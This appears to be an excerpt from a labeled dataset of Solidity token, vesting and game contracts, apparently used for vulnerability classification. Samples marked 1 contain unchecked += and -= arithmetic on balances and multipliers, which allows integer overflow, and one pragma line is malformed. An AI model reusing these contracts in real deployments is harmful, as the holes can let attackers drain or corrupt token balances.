if (iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.add(unitAttackIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitAttackIncreases[_address][cardId] = SafeMath.sub(unitAttackIncreases[_address][cardId],iValue);
}
}
function getUnitAttackIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackIncreases[_address][cardId];
}
function setUnitAttackMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.add(unitAttackMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitAttackMultiplier[_address][cardId] = SafeMath.sub(unitAttackMultiplier[_address][cardId],iValue);
}
}
function getUnitAttackMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitAttackMultiplier[_address][cardId];
}
function setUnitDefenseIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.add(unitDefenseIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseIncreases[_address][cardId] = SafeMath.sub(unitDefenseIncreases[_address][cardId],iValue);
}
}
function getUnitDefenseIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseIncreases[_address][cardId];
}
function setunitDefenseMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.add(unitDefenseMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitDefenseMultiplier[_address][cardId] = SafeMath.sub(unitDefenseMultiplier[_address][cardId],iValue);
}
}
function getUnitDefenseMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitDefenseMultiplier[_address][cardId];
}
function setUnitJadeStealingIncreases(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.add(unitJadeStealingIncreases[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingIncreases[_address][cardId] = SafeMath.sub(unitJadeStealingIncreases[_address][cardId],iValue);
}
}
function getUnitJadeStealingIncreases(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingIncreases[_address][cardId];
}
function setUnitJadeStealingMultiplier(address _address, uint256 cardId, uint256 iValue,bool iflag) external onlyAccess {
if (iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.add(unitJadeStealingMultiplier[_address][cardId],iValue);
} else if (!iflag) {
unitJadeStealingMultiplier[_address][cardId] = SafeMath.sub(unitJadeStealingMultiplier[_address][cardId],iValue);
}
}
function getUnitJadeStealingMultiplier(address _address, uint256 cardId) external view returns (uint256) {
return unitJadeStealingMultiplier[_address][cardId];
}
function setUintCoinProduction(address _address, uint256 cardId, uint256 iValue, bool iflag) external onlyAccess {
if (iflag) {
uintProduction[_address][cardId] = SafeMath.add(uintProduction[_address][cardId],iValue);
} else if (!iflag) {
uintProduction[_address][cardId] = SafeMath.sub(uintProduction[_address][cardId],iValue);
}
}
function getUintCoinProduction(address _address, uint256 cardId) external view returns (uint256) {
return uintProduction[_address][cardId];
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionGain;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] += upgradeValue;
productionGain = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
increasePlayersJadeProduction(player, productionGain);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] += upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] += upgradeValue;
} else if (upgradeClass == 8) {
unitMaxCap[player][unitId] = upgradeValue;
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external onlyAccess {
uint256 productionLoss;
if (upgradeClass == 0) {
unitCoinProductionIncreases[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (10 + unitCoinProductionMultiplier[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 1) {
unitCoinProductionMultiplier[player][unitId] -= upgradeValue;
productionLoss = unitsOwned[player][unitId] * upgradeValue * (schema.unitCoinProduction(unitId) + unitCoinProductionIncreases[player][unitId]);
reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 2) {
unitAttackIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 3) {
unitAttackMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 4) {
unitDefenseIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 5) {
unitDefenseMultiplier[player][unitId] -= upgradeValue;
} else if (upgradeClass == 6) {
unitJadeStealingIncreases[player][unitId] -= upgradeValue;
} else if (upgradeClass == 7) {
unitJadeStealingMultiplier[player][unitId] -= upgradeValue;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,029 |
pragma solidity ^"0.4.24";
contract VestingBase {
using SafeMath for uint256;
CovaToken internal cova;
uint256 internal releaseTime;
uint256 internal genesisTime;
uint256 internal THREE_MONTHS = 7890000;
uint256 internal SIX_MONTHS = 15780000;
address internal beneficiaryAddress;
struct Claim {
bool fromGenesis;
uint256 pct;
uint256 delay;
bool claimed;
}
Claim [] internal beneficiaryClaims;
uint256 internal totalClaimable;
event Claimed(
address indexed user,
uint256 amount,
uint256 timestamp
);
function claim() public returns (bool){
require(msg.sender == beneficiaryAddress);
for(uint256 i = 0; i < beneficiaryClaims.length; i++){
Claim memory cur_claim = beneficiaryClaims[i];
if(cur_claim.claimed == false){
if((cur_claim.fromGenesis == false && (cur_claim.delay.add(releaseTime) < block.timestamp)) || (cur_claim.fromGenesis == true && (cur_claim.delay.add(genesisTime) < block.timestamp))){
uint256 amount = cur_claim.pct.mul(totalClaimable).div(10000);
require(cova.transfer(msg.sender, amount));
beneficiaryClaims[i].claimed = true;
emit Claimed(msg.sender, amount, block.timestamp);
}
}
}
}
function getBeneficiary() public view returns (address) {
return beneficiaryAddress;
}
function getTotalClaimable() public view returns (uint256) {
return totalClaimable;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract CovaToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 private totalSupply_ = 65 * (10 ** (8 + 18));
string private constant name_ = 'Covalent Token';
string private constant symbol_ = 'COVA';
uint8 private constant decimals_ = 18;
constructor () public {
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function decimals() public view returns (uint8) {
return decimals_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract VestingPrivateSale is VestingBase {
using SafeMath for uint256;
constructor(CovaToken _cova, uint256 _releaseTime) public {
cova = _cova;
releaseTime = _releaseTime;
genesisTime = block.timestamp;
beneficiaryAddress = 0xFaE20b61061837c9E8859edA17c3254942B9D817;
totalClaimable = 1339480000 * (10 ** 18);
beneficiaryClaims.push(Claim(false, 3000, 0, false));
beneficiaryClaims.push(Claim(false, 3000, THREE_MONTHS, false));
beneficiaryClaims.push(Claim(false, 4000, SIX_MONTHS, false));
}
} | 0 | 1,306 |
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardTokenExt is StandardToken {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply = totalSupply.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableToken is StandardTokenExt, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract TokenVault is Ownable {
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public lockedAt;
CrowdsaleToken public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, CrowdsaleToken _token, uint _tokensToBeAllocated) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
if(_tokensToBeAllocated == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
tokensToBeAllocated = _tokensToBeAllocated;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) != tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
if(claimed[investor] > 0) {
throw;
}
uint amount = balances[investor];
claimed[investor] = amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 2,237 |
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